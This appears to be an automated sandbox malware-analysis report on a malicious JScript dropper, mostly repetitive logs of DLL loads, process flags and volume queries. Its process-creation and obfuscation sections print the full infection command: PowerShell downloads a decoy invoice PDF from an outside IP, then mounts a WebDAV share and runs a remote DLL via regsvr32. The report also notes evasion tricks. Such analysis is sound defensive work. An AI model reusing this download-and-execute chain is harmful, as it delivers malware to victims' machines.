Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\5543.js.csv");ITextStream.WriteLine(" entry:7986 f:pgtso");ITextStream.WriteLine(" exec:2 f:pgtso");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49700

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3596			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6248			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7320	Thread sleep count: 3596 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7320	Thread sleep count: 6248 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7364	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7428	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7636	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7920	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 0000000B.00000002.1350758228.00000260C1A59000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000B.00000002.1350758228.00000260C19F8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2568742014.000001E67EA5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2567117899.000001E67D42B000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7931317627433.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7931317627433.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7931317627433.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
